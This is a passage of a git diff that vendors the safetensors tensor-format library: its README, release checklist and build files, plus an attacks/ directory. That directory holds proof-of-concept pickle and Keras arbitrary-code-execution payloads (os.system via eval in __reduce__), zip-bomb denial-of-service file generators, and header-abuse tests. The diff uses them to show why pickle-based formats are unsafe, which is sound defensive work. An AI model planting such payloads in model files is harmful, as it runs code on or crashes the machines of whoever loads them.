+ +Python +[![Pypi](https://img.shields.io/pypi/v/safetensors.svg)](https://pypi.org/pypi/safetensors/) +[![Documentation](https://img.shields.io/website/http/huggingface.co/docs/safetensors/index.svg?label=docs)](https://huggingface.co/docs/safetensors/index) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Downloads](https://static.pepy.tech/badge/safetensors/month)](https://pepy.tech/project/safetensors) + +Rust +[![Crates.io](https://img.shields.io/crates/v/safetensors.svg)](https://crates.io/crates/safetensors) +[![Documentation](https://docs.rs/safetensors/badge.svg)](https://docs.rs/safetensors/) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Dependency status](https://deps.rs/repo/github/huggingface/safetensors/status.svg?path=safetensors)](https://deps.rs/repo/github/huggingface/safetensors?path=safetensors) + +# safetensors + +## Safetensors + +This repository implements a new simple format for storing tensors +safely (as opposed to pickle) and that is still fast (zero-copy). + +### Installation +#### Pip + +You can install safetensors via the pip manager: + +```bash +pip install safetensors +``` + +#### From source + +For the sources, you need Rust + +```bash +# Install Rust +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +# Make sure it's up to date and using stable channel +rustup update +git clone https://github.com/huggingface/safetensors +cd safetensors/bindings/python +pip install setuptools_rust +pip install -e . +``` + +### Getting started + +```python +import torch +from safetensors import safe_open +from safetensors.torch import save_file + +tensors = { + "weight1": torch.zeros((1024, 1024)), + "weight2": torch.zeros((1024, 1024)) +} +save_file(tensors, "model.safetensors") + +tensors = {} +with safe_open("model.safetensors", framework="pt", device="cpu") as f: + for key in f.keys(): + tensors[key] = f.get_tensor(key) +``` + +[Python documentation](https://huggingface.co/docs/safetensors/index) + + +### Format + +- 8 bytes: `N`, an unsigned little-endian 64-bit integer, containing the size of the header +- N bytes: a JSON UTF-8 string representing the header. + - The header data MUST begin with a `{` character (0x7B). + - The header data MAY be trailing padded with whitespace (0x20). + - The header is a dict like `{"TENSOR_NAME": {"dtype": "F16", "shape": [1, 16, 256], "data_offsets": [BEGIN, END]}, "NEXT_TENSOR_NAME": {...}, ...}`, + - `data_offsets` point to the tensor data relative to the beginning of the byte buffer (i.e. not an absolute position in the file), + with `BEGIN` as the starting offset and `END` as the one-past offset (so total tensor byte size = `END - BEGIN`). + - A special key `__metadata__` is allowed to contain free form string-to-string map. Arbitrary JSON is not allowed, all values must be strings. +- Rest of the file: byte-buffer. + +Notes: + - Duplicate keys are disallowed. Not all parsers may respect this. + - In general the subset of JSON is implicitly decided by `serde_json` for + this library. Anything obscure might be modified at a later time, that odd ways + to represent integer, newlines and escapes in utf-8 strings. This would only + be done for safety concerns + - Tensor values are not checked against, in particular NaN and +/-Inf could + be in the file + - Empty tensors (tensors with 1 dimension being 0) are allowed. + They are not storing any data in the databuffer, yet retaining size in the header. + They don't really bring a lot of values but are accepted since they are valid tensors + from traditional tensor libraries perspective (torch, tensorflow, numpy, ..). + - 0-rank Tensors (tensors with shape `[]`) are allowed, they are merely a scalar. + - The byte buffer needs to be entirely indexed, and cannot contain holes. This prevents + the creation of polyglot files. + + +### Yet another format ? + +The main rationale for this crate is to remove the need to use +`pickle` on `PyTorch` which is used by default. +There are other formats out there used by machine learning and more general +formats. + + +Let's take a look at alternatives and why this format is deemed interesting. +This is my very personal and probably biased view: + +| Format | Safe | Zero-copy | Lazy loading | No file size limit | Layout control | Flexibility | Bfloat16 +| ----------------------- | --- | --- | --- | --- | --- | --- | --- | +| pickle (PyTorch) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +| H5 (Tensorflow) | 🗸 | ✗ | 🗸 | 🗸 | ~ | ~ | ✗ | +| SavedModel (Tensorflow) | 🗸 | ✗ | ✗ | 🗸 | 🗸 | ✗ | 🗸 | +| MsgPack (flax) | 🗸 | 🗸 | ✗ | 🗸 | ✗ | ✗ | 🗸 | +| Protobuf (ONNX) | 🗸 | ✗ | ✗ | ✗ | ✗ | ✗ | 🗸 | +| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | +| Arrow | ? | ? | ? | ? | ? | ? | ✗ | +| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | + +- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? +- Zero-copy: Does reading the file require more memory than the original file ? +- Lazy loading: Can I inspect the file without loading everything ? And loading only +some tensors in it without scanning the whole file (distributed setting) ? +- Layout control: Lazy loading, is not necessarily enough since if the information about tensors is spread out in your file, then even if the information is lazily accessible you might have to access most of your file to read the available tensors (incurring many DISK -> RAM copies). Controlling the layout to keep fast access to single tensors is important. +- No file size limit: Is there a limit to the file size ? +- Flexibility: Can I save custom code in the format and be able to use it later with zero extra code ? (~ means we can store more than pure tensors, but no custom code) +- Bfloat16: Does the format support native bfloat16 (meaning no weird workarounds are +necessary)? This is becoming increasingly important in the ML world. + + +### Main oppositions + +- Pickle: Unsafe, runs arbitrary code +- H5: Apparently now discouraged for TF/Keras. Seems like a great fit otherwise actually. Some classic use after free issues: . On a very different level than pickle security-wise. Also 210k lines of code vs ~400 lines for this lib currently. +- SavedModel: Tensorflow specific (it contains TF graph information). +- MsgPack: No layout control to enable lazy loading (important for loading specific parts in distributed setting) +- Protobuf: Hard 2Go max file size limit +- Cap'n'proto: Float16 support is not present [link](https://capnproto.org/language.html#built-in-types) so using a manual wrapper over a byte-buffer would be necessary. Layout control seems possible but not trivial as buffers have limitations [link](https://stackoverflow.com/questions/48458839/capnproto-maximum-filesize). +- Numpy (npz): No `bfloat16` support. Vulnerable to zip bombs (DOS). Not zero-copy. +- Arrow: No `bfloat16` support. Seem to require decoding [link](https://arrow.apache.org/docs/python/parquet.html#reading-parquet-and-memory-mapping) + +### Notes + +- Zero-copy: No format is really zero-copy in ML, it needs to go from disk to RAM/GPU RAM (that takes time). On CPU, if the file is already in cache, then it can +truly be zero-copy, whereas on GPU there is not such disk cache, so a copy is always required +but you can bypass allocating all the tensors on CPU at any given point. + SafeTensors is not zero-copy for the header. The choice of JSON is pretty arbitrary, but since deserialization is <<< of the time required to load the actual tensor data and is readable I went that way, (also space is <<< to the tensor data). + +- Endianness: Little-endian. This can be modified later, but it feels really unnecessary at the +moment. +- Order: 'C' or row-major. This seems to have won. We can add that information later if needed. +- Stride: No striding, all tensors need to be packed before being serialized. I have yet to see a case where it seems useful to have a strided tensor stored in serialized format. + +### Benefits + +Since we can invent a new format we can propose additional benefits: + +- Prevent DOS attacks: We can craft the format in such a way that it's almost +impossible to use malicious files to DOS attack a user. Currently, there's a limit +on the size of the header of 100MB to prevent parsing extremely large JSON. + Also when reading the file, there's a guarantee that addresses in the file + do not overlap in any way, meaning when you're loading a file you should never + exceed the size of the file in memory + +- Faster load: PyTorch seems to be the fastest file to load out in the major +ML formats. However, it does seem to have an extra copy on CPU, which we +can bypass in this lib by using `torch.UntypedStorage.from_file`. +Currently, CPU loading times are extremely fast with this lib compared to pickle. +GPU loading times are as fast or faster than PyTorch equivalent. +Loading first on CPU with memmapping with torch, and then moving all tensors to GPU seems +to be faster too somehow (similar behavior in torch pickle) + +- Lazy loading: in distributed (multi-node or multi-gpu) settings, it's nice to be able to +load only part of the tensors on the various models. For +[BLOOM](https://huggingface.co/bigscience/bloom) using this format enabled +to load the model on 8 GPUs from 10mn with regular PyTorch weights down to 45s. +This really speeds up feedbacks loops when developing on the model. For instance +you don't have to have separate copies of the weights when changing the distribution +strategy (for instance Pipeline Parallelism vs Tensor Parallelism). + +License: Apache-2.0 diff --git a/extensions/safetensors/RELEASE.md b/extensions/safetensors/RELEASE.md new file mode 100644 index 0000000000000000000000000000000000000000..0c449b4c86372902db669e5795f0fc51d7ac40c9 --- /dev/null +++ b/extensions/safetensors/RELEASE.md @@ -0,0 +1,90 @@ +## How to release + +# Before the release + +Simple checklist on how to make releases for `safetensors`. + +- Freeze `main` branch. +- Run all tests (Check CI has properly run) +- If any significant work, check benchmarks: + - `cd safetensors && cargo bench` (needs to be run on latest release tag to measure difference if it's your first time) +- Run all `transformers` tests. (`transformers` is a big user of `safetensors` we need + to make sure we don't break it, testing is one way to make sure nothing unforeseen + has been done.) + - Run all fast tests at the VERY least (not just the tokenization tests). (`RUN_PIPELINE_TESTS=1 CUDA_VISIBLE_DEVICES=-1 pytest -sv tests/`) + - When all *fast* tests work, then we can also (it's recommended) run the whole `transformers` + test suite. + - Rebase this [PR](https://github.com/huggingface/transformers/pull/16708). + This will create new docker images ready to run the tests suites with `safetensors` from the main branch. + - Wait for actions to finish + - Rebase this [PR](https://github.com/huggingface/transformers/pull/16712) + This will run the actual full test suite. + - Check the results. +- **If any breaking change has been done**, make sure the version can safely be increased for transformers users (`safetensors` version need to make sure users don't upgrade before `transformers` has). [link](https://github.com/huggingface/transformers/blob/main/setup.py#L154) + For instance `safetensors>=0.10,<0.11` so we can safely upgrade to `0.11` without impacting + current users +- Then start a new PR containing all desired code changes from the following steps. +- You will `Create release` after the code modifications are on `master`. + +# Rust + +- `safetensors` (rust, python & node) versions don't have to be in sync but it's + very common to release for all versions at once for new features. +- Edit `Cargo.toml` to reflect new version +- Edit `CHANGELOG.md`: + - Add relevant PRs that were added (python PRs do not belong for instance). + - Add links at the end of the files. +- Go to [Releases](https://github.com/huggingface/safetensors/releases) +- Create new Release: + - Mark it as pre-release + - Use new version name with a new tag (create on publish) `vX.X.X`. + - Copy paste the new part of the `CHANGELOG.md` +- ⚠️ Click on `Publish release`. This will start the whole process of building a uploading + the new version on `crates.io`, there's no going back after this +- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly. +- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again. + + +# Python + +- Edit `bindings/python/setup.py` to reflect new version. +- Edit `bindings/python/py_src/safetensors/__init__.py` to reflect new version. +- Edit `CHANGELOG.md`: + - Add relevant PRs that were added (node PRs do not belong for instance). + - Add links at the end of the files. +- Go to [Releases](https://github.com/huggingface/safetensors/releases) +- Create new Release: + - Mark it as pre-release + - Use new version name with a new tag (create on publish) `python-vX.X.X`. + - Copy paste the new part of the `CHANGELOG.md` +- ⚠️ Click on `Publish release`. This will start the whole process of building a uploading + the new version on `pypi`, there's no going back after this +- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly. +- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again. +- This CI/CD has 3 distinct builds, `Pypi`(normal), `conda` and `extra`. `Extra` is REALLY slow (~4h), this is normal since it has to rebuild many things, but enables the wheel to be available for old Linuxes + +# Node + +- Edit `bindings/node/package.json` to reflect new version. +- Edit `CHANGELOG.md`: + - Add relevant PRs that were added (python PRs do not belong for instance). + - Add links at the end of the files. +- Go to [Releases](https://github.com/huggingface/safetensors/releases) +- Create new Release: + - Mark it as pre-release + - Use new version name with a new tag (create on publish) `node-vX.X.X`. + - Copy paste the new part of the `CHANGELOG.md` +- ⚠️ Click on `Publish release`. This will start the whole process of building a uploading + the new version on `npm`, there's no going back after this +- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly. +- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again. + + +# Testing the CI/CD for release + + +If you want to make modifications to the CI/CD of the release GH actions, you need +to : +- **Comment the part that uploads the artifacts** to `crates.io`, `PyPi` or `npm`. +- Change the trigger mechanism so it can trigger every time you push to your branch. +- Keep pushing your changes until the artifacts are properly created. diff --git a/extensions/safetensors/attacks/README.md b/extensions/safetensors/attacks/README.md new file mode 100644 index 0000000000000000000000000000000000000000..00068d6efab34e356f9f9b593ae2f1a13e957c18 --- /dev/null +++ b/extensions/safetensors/attacks/README.md @@ -0,0 +1,67 @@ +The purpose of this directory is to showcase various attacks (and creating your own). + + +# Torch Arbitrary code execution + +Try it out. This will create a seemingly innocuous `torch_ace.pt` file. +``` +python torch_ace_create.py +python torch_ace_get_pwned.py +``` + +# PaddlePaddle Arbitrary code execution + +Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file. +``` +python paddle_ace_create.py +python paddle_ace_get_pwned.py +``` + +# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`) + +Try it out. This will create a seemingly innocuous `tf_ace.h5` file. +``` +python tf_dos_create.py +python tf_dos_get_pwned.py +``` + +# Torch Denial of Service (OOM kills the running process) + +Try it out. This will create a seemingly innocuous `torch_dos.pt` file. +``` +python torch_dos_create.py +python torch_dos_get_pwned.py +``` + +# Numpy Denial of Service (OOM kills the running process) + +Try it out. This will create a seemingly innocuous `numpy_dos.npz` file. +``` +python numpy_dos_create.py +python numpy_dos_get_pwned.py +``` + +# Safetensors abuse attempts + +In order to try and check the limits, we also try to abuse the current format. +Please send ideas! + +A few things can be abused: +- Proposal 1: The initial 8 bytes, which could be too big with regards to the file. This crashes, and crashes early (Out of bounds) (Attempt #1). +- Proposal 2: The initial header is JSON, an attacker could use a 4Go JSON file to delay the loads. Debattable how much of an attack this is, but at least + it's impossible to "bomb" (like the DOS attacks above) where the files are vastly smaller than their expanded version (because of zip abuse). + Various "protections" could be put in place, like a header proportion cap (header should always be <<< of the size of the file). (Attempt #2) +- Proposal 3: The offsets could be negative, out of the file. This is all crashing by default. +- Proposal 4: The offsets could overlap. ~~This is actually OK.~~ This is NOT ok. + While testing Proposal 2, I realized that the tensors themselves where all allocated, and gave me an idea for a DOS exploit where you would have a relatively small + file a few megs tops, but defining many tensors on the same overlapping part of the file, it was essentially a DOS attack. The mitigation is rather simple, we sanitize the fact + that the offsets must be contiguous and non overlapping. +- Proposal 5: The offsets could mismatch the declared shapes + dtype. This validated against. +- Proposal 6: The file being mmaped could be modified while it's opened (attacker has access to your filesystem, seems like you're already pwned). +- Proposal 7: serde JSON deserialization abuse (nothing so far: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=serde). It doesn't mean there isn't a flaw. Same goes for the actual rust compiled binary. + +``` +python safetensors_abuse_attempt_1.py +python safetensors_abuse_attempt_2.py +python safetensors_abuse_attempt_3.py +``` diff --git a/extensions/safetensors/attacks/numpy_dos_create.py b/extensions/safetensors/attacks/numpy_dos_create.py new file mode 100644 index 0000000000000000000000000000000000000000..350f6b6217e9ce24bc466220cf120ff432510e4b --- /dev/null +++ b/extensions/safetensors/attacks/numpy_dos_create.py @@ -0,0 +1,10 @@ +from zipfile import ZIP_DEFLATED, ZipFile + +FILESIZE = 40 * 1000 # 40 Go +BUFFER = b"\0" * 1000 * 1000 # 1Mo + +outfilename = "numpy_dos.npz" +with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip: + with outzip.open("weights.npy", "w", force_zip64=True) as f: + for i in range(FILESIZE): + f.write(BUFFER) diff --git a/extensions/safetensors/attacks/numpy_dos_get_pwned.py b/extensions/safetensors/attacks/numpy_dos_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..200de06e12161443d59a59a32c352d40b5ec3f76 --- /dev/null +++ b/extensions/safetensors/attacks/numpy_dos_get_pwned.py @@ -0,0 +1,15 @@ +import os + +import numpy as np + +filename = "numpy_dos.npz" + +print( + f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine." +) +print("Be careful this might crash your computer by reserving way too much RAM") +input("Press Enter to continue") +archive = np.load(filename) +weights = archive["weight"] +assert np.allclose(weights, np.zeros((2, 2))) +print("The file looks fine !") diff --git a/extensions/safetensors/attacks/paddle_ace_create.py b/extensions/safetensors/attacks/paddle_ace_create.py new file mode 100644 index 0000000000000000000000000000000000000000..1d23becf3c158006c5328412a045df611d6b5586 --- /dev/null +++ b/extensions/safetensors/attacks/paddle_ace_create.py @@ -0,0 +1,53 @@ +import paddle +import numpy as np +from collections import Iterable, OrderedDict + +def _parse_every_object(obj, condition_func, convert_func): + if condition_func(obj): + return convert_func(obj) + elif isinstance(obj, (dict, OrderedDict, list)): + if isinstance(obj, list): + keys = range(len(obj)) + else: + keys = list(obj.keys()) + for key in keys: + if condition_func(obj[key]): + obj[key] = convert_func(obj[key]) + else: + obj[key] = _parse_every_object( + obj[key], condition_func, convert_func + ) + return obj + elif isinstance(obj, tuple): + return tuple( + _parse_every_object(list(obj), condition_func, convert_func) + ) + elif isinstance(obj, set): + object(list(obj), condition_func, convert_func) + else: + return obj + +# hack _parse_every_object method +paddle.framework.io._parse_every_object = _parse_every_object + +class BadDict(dict): + def __init__(self, src: str, **kwargs): + super().__init__(**kwargs) + self.src = src + + def __reduce__(self): + return ( + eval, + (f"os.system('{self.src}') or dict()",), + None, + None, + iter(self.items()), + ) + +paddle.save( + [BadDict( + 'echo "pwned your computer, I can do anything I want."', + **{"weight": paddle.zeros((2, 2))}, + )], + "paddle_ace.pdparams", +) diff --git a/extensions/safetensors/attacks/paddle_ace_get_pwned.py b/extensions/safetensors/attacks/paddle_ace_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..c4a80fa41e3e24d53f4115e9ff7589c4a74fee06 --- /dev/null +++ b/extensions/safetensors/attacks/paddle_ace_get_pwned.py @@ -0,0 +1,6 @@ +import paddle + +weights = paddle.load("paddle_ace.pdparams")[0] +assert list(weights.keys()) == ["weight"] +assert paddle.allclose(weights["weight"], paddle.zeros((2, 2))) +print("The file looks fine !") diff --git a/extensions/safetensors/attacks/safetensors_abuse_attempt_1.py b/extensions/safetensors/attacks/safetensors_abuse_attempt_1.py new file mode 100644 index 0000000000000000000000000000000000000000..7b845c4e3b095fb217335b7449f40ef7caa03485 --- /dev/null +++ b/extensions/safetensors/attacks/safetensors_abuse_attempt_1.py @@ -0,0 +1,21 @@ +import torch +from safetensors.torch import load_file, save_file + +filename = "safetensors_abuse_attempt_1.safetensors" + + +def create_payload(): + weights = {"weight": torch.zeros((2, 2))} + save_file(weights, filename) + + with open(filename, "r+b") as f: + f.seek(0) + # Now the header claims 2**32 - xx even though the file is small + n = 1000 + n_bytes = n.to_bytes(8, "little") + f.write(n_bytes) + + +create_payload() +# This properly crashes with an out of bounds exception. +test = load_file(filename) diff --git a/extensions/safetensors/attacks/safetensors_abuse_attempt_2.py b/extensions/safetensors/attacks/safetensors_abuse_attempt_2.py new file mode 100644 index 0000000000000000000000000000000000000000..448ff064a41cd54b7fc63e1f5403b14577fa9d22 --- /dev/null +++ b/extensions/safetensors/attacks/safetensors_abuse_attempt_2.py @@ -0,0 +1,33 @@ +import datetime +import json +import os + +from safetensors.torch import load_file + +filename = "safetensors_abuse_attempt_2.safetensors" + + +def create_payload(): + shape = [2, 2] + n = shape[0] * shape[1] * 4 + + metadata = { + f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10) + } + + binary = json.dumps(metadata).encode("utf-8") + n = len(binary) + n_header = n.to_bytes(8, "little") + + with open(filename, "wb") as f: + f.write(n_header) + f.write(binary) + f.write(b"\0" * n) + + +create_payload() + +print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo") +start = datetime.datetime.now() +test = load_file(filename) +print(f"Loading the file took {datetime.datetime.now() - start}") diff --git a/extensions/safetensors/attacks/safetensors_abuse_attempt_3.py b/extensions/safetensors/attacks/safetensors_abuse_attempt_3.py new file mode 100644 index 0000000000000000000000000000000000000000..43cbe9793331290ea1699dfe2f522085d43e4e04 --- /dev/null +++ b/extensions/safetensors/attacks/safetensors_abuse_attempt_3.py @@ -0,0 +1,30 @@ +import datetime +import json +import os + +from safetensors.torch import load_file + +filename = "safetensors_abuse_attempt_2.safetensors" + + +def create_payload(): + shape = [200, 200] + n = shape[0] * shape[1] * 4 + + metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)} + + binary = json.dumps(metadata).encode("utf-8") + n = len(binary) + n_header = n.to_bytes(8, "little") + + with open(filename, "wb") as f: + f.write(n_header) + f.write(binary) + f.write(b"\0" * n) + + +create_payload() +print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo") +start = datetime.datetime.now() +test = load_file(filename) +print(f"Loading the file took {datetime.datetime.now() - start}") diff --git a/extensions/safetensors/attacks/tf_ace_create.py b/extensions/safetensors/attacks/tf_ace_create.py new file mode 100644 index 0000000000000000000000000000000000000000..d9a374af021216a60891146e4d8ed6d85a3cd52c --- /dev/null +++ b/extensions/safetensors/attacks/tf_ace_create.py @@ -0,0 +1,21 @@ +import tensorflow as tf + + +def exec_(*args, **kwargs): + import os + + os.system('echo "########################################\nI own you.\n########################################"') + return 10 + + +num_classes = 10 +input_shape = (28, 28, 1) + +model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")]) + + +### +# model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +model.save("tf_ace.h5") +### diff --git a/extensions/safetensors/attacks/tf_ace_get_pwned.py b/extensions/safetensors/attacks/tf_ace_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..4c4b88b37294d2af80617114149ad484d1b8e145 --- /dev/null +++ b/extensions/safetensors/attacks/tf_ace_get_pwned.py @@ -0,0 +1,16 @@ +import base64 +import json + +import h5py +import tensorflow as tf + +new_model = tf.keras.models.load_model("tf.h5") + +print("Transformers is not vulnerable to this, as it uses h5 directly.") +print("Keras uses a pickled code of the function within the `h5` attrs of the file") +print("Let's show you the marshalled code") + +with h5py.File("tf_ace.h5") as f: + data = json.loads(f.attrs["model_config"]) + print(base64.b64decode(data["config"]["layers"][-1]["config"]["function"][0])) + pass diff --git a/extensions/safetensors/attacks/tf_safe_ace_create.py b/extensions/safetensors/attacks/tf_safe_ace_create.py new file mode 100644 index 0000000000000000000000000000000000000000..116af9d2739f8e19139824f02a578aeaa05b7af1 --- /dev/null +++ b/extensions/safetensors/attacks/tf_safe_ace_create.py @@ -0,0 +1,17 @@ +import tensorflow as tf + + +def exec_(*args, **kwargs): + import os + + os.system('echo "########################################\nI own you.\n########################################"') + return 10 + + +num_classes = 10 +input_shape = (28, 28, 1) + +model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")]) + + +model.save("tf_ace.keras", save_format="keras_v3") diff --git a/extensions/safetensors/attacks/tf_safe_ace_get_pwned.py b/extensions/safetensors/attacks/tf_safe_ace_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..3ea9206297b0444d78de9562185f4043d7c250a4 --- /dev/null +++ b/extensions/safetensors/attacks/tf_safe_ace_get_pwned.py @@ -0,0 +1,3 @@ +import tensorflow as tf + +new_model = tf.keras.models.load_model("tf_ace.keras") diff --git a/extensions/safetensors/attacks/torch_ace_create.py b/extensions/safetensors/attacks/torch_ace_create.py new file mode 100644 index 0000000000000000000000000000000000000000..d80acba99078367ca11cd067489cf6d3094aa171 --- /dev/null +++ b/extensions/safetensors/attacks/torch_ace_create.py @@ -0,0 +1,25 @@ +import torch + + +class BadDict(dict): + def __init__(self, src: str, **kwargs): + super().__init__(**kwargs) + self.src = src + + def __reduce__(self): + return ( + eval, + (f"os.system('{self.src}') or dict()",), + None, + None, + iter(self.items()), + ) + + +torch.save( + BadDict( + 'echo "pwned your computer, I can do anything I want."', + **{"weight": torch.zeros((2, 2))}, + ), + "torch_ace.pt", +) diff --git a/extensions/safetensors/attacks/torch_ace_get_pwned.py b/extensions/safetensors/attacks/torch_ace_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..e4780a60095f3e667a950a52a84718270db517a7 --- /dev/null +++ b/extensions/safetensors/attacks/torch_ace_get_pwned.py @@ -0,0 +1,6 @@ +import torch + +weights = torch.load("torch_ace.pt") +assert list(weights.keys()) == ["weight"] +assert torch.allclose(weights["weight"], torch.zeros((2, 2))) +print("The file looks fine !") diff --git a/extensions/safetensors/attacks/torch_dos_create.py b/extensions/safetensors/attacks/torch_dos_create.py new file mode 100644 index 0000000000000000000000000000000000000000..c5604158f38b3e22b2564f4e7e2b935abffc8f52 --- /dev/null +++ b/extensions/safetensors/attacks/torch_dos_create.py @@ -0,0 +1,22 @@ +import os +from zipfile import ZIP_DEFLATED, ZipFile + +import torch + +FILESIZE = 40 * 1000 # 40 Go +BUFFER = b"\0" * 1000 * 1000 # 1 Mo + +filename = "torch_dos_tmp.pt" +torch.save({"weight": torch.zeros((2, 2))}, filename) + + +with ZipFile(filename, "r") as torch_zip: + outfilename = "torch_dos.pt" + with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip: + outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read()) + outzip.writestr("archive/version", torch_zip.open("archive/version").read()) + with outzip.open("archive/data/0", "w", force_zip64=True) as f: + for i in range(FILESIZE): + f.write(BUFFER) + +os.remove(filename) diff --git a/extensions/safetensors/attacks/torch_dos_get_pwned.py b/extensions/safetensors/attacks/torch_dos_get_pwned.py new file mode 100644 index 0000000000000000000000000000000000000000..7ea82b2338c74373830c8264daf2dd67e4faae57 --- /dev/null +++ b/extensions/safetensors/attacks/torch_dos_get_pwned.py @@ -0,0 +1,15 @@ +import os + +import torch + +filename = "torch_dos.pt" + +print( + f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine." +) +print("Be careful this might crash your computer by reserving way too much RAM") +input("Press Enter to continue") +weights = torch.load(filename) +assert list(weights.keys()) == ["weight"] +assert torch.allclose(weights["weight"], torch.zeros((2, 2))) +print("The file looks fine !") diff --git a/extensions/safetensors/bindings/python/.gitignore b/extensions/safetensors/bindings/python/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..af3ca5ef1ca8475c73d9646a74967bf63f2fec96 --- /dev/null +++ b/extensions/safetensors/bindings/python/.gitignore @@ -0,0 +1,72 @@ +/target + +# Byte-compiled / optimized / DLL files +__pycache__/ +.pytest_cache/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +.venv/ +env/ +bin/ +build/ +develop-eggs/ +dist/ +eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +include/ +man/ +venv/ +*.egg-info/ +.installed.cfg +*.egg + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt +pip-selfcheck.json + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.cache +nosetests.xml +coverage.xml + +# Translations +*.mo + +# Mr Developer +.mr.developer.cfg +.project +.pydevproject + +# Rope +.ropeproject + +# Django stuff: +*.log +*.pot + +.DS_Store + +# Sphinx documentation +docs/_build/ + +# PyCharm +.idea/ + +# VSCode +.vscode/ + +# Pyenv +.python-version \ No newline at end of file diff --git a/extensions/safetensors/bindings/python/Cargo.toml b/extensions/safetensors/bindings/python/Cargo.toml new file mode 100644 index 0000000000000000000000000000000000000000..417ec544ad2623b8758d3b95953bb90ebb7064f7 --- /dev/null +++ b/extensions/safetensors/bindings/python/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "safetensors-python" +version = "0.4.1-dev.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[lib] +name = "safetensors_rust" +crate-type = ["cdylib"] + +[dependencies] +pyo3 = { version = "0.19.2", features = ["extension-module"] } +memmap2 = "0.5" +serde_json = "1.0" + +[dependencies.safetensors] +version = "0.4.1-dev.0" +path = "../../safetensors" diff --git a/extensions/safetensors/bindings/python/MANIFEST.in b/extensions/safetensors/bindings/python/MANIFEST.in new file mode 100644 index 0000000000000000000000000000000000000000..d0de7b5f2315efd3b004ec5ac7d1c9707e7abf28 --- /dev/null +++ b/extensions/safetensors/bindings/python/MANIFEST.in @@ -0,0 +1,7 @@ +include Cargo.toml +include pyproject.toml +include rust-toolchain +include ../../LICENSE +recursive-include src * +recursive-include safetensors-lib * +recursive-exclude safetensors-lib/target * diff --git a/extensions/safetensors/bindings/python/Makefile b/extensions/safetensors/bindings/python/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..0a4bcbaff81c21493782711a86c70c8cdf33cf65 --- /dev/null +++ b/extensions/safetensors/bindings/python/Makefile @@ -0,0 +1,35 @@ +.PHONY: deps_table_update modified_only_fixup extra_style_checks quality style fixup fix-copies test test-examples + +# make sure to test the local checkout in scripts and not the pre-installed one (don't use quotes!) +export PYTHONPATH = src + +check_dirs := tests py_src + +modified_only_fixup: + $(eval modified_py_files := $(shell python utils/get_modified_files.py $(check_dirs))) + @if test -n "$(modified_py_files)"; then \ + echo "Checking/fixing $(modified_py_files)"; \ + black --preview $(modified_py_files); \ + isort $(modified_py_files); \ + flake8 $(modified_py_files); \ + else \ + echo "No library .py files were modified"; \ + fi + + +quality: + black --check --preview $(check_dirs) + isort --check-only $(check_dirs) + flake8 $(check_dirs) + # doc-builder style src/transformers docs/source --max_len 119 --check_only --path_to_docs docs/source + +style: + black --preview $(check_dirs) + isort $(check_dirs) + +# Super fast fix and check target that only works on relevant modified files since the branch was made + +fixup: modified_only_fixup + +test: + python -m pytest -n auto --dist=loadfile -s -v ./tests/ diff --git a/extensions/safetensors/bindings/python/README.md b/extensions/safetensors/bindings/python/README.md new file mode 100644 index 0000000000000000000000000000000000000000..9b8e2bc550bf56caa9b41d215c9c9eb624db11c3 --- /dev/null +++ b/extensions/safetensors/bindings/python/README.md @@ -0,0 +1,60 @@ +## Installation + +``` +pip install safetensors +``` + + +## Usage + +### Numpy + +```python +from safetensors.numpy import save_file, load_file +import numpy as np + +tensors = { + "a": np.zeros((2, 2)), + "b": np.zeros((2, 3), dtype=np.uint8) +} + +save_file(tensors, 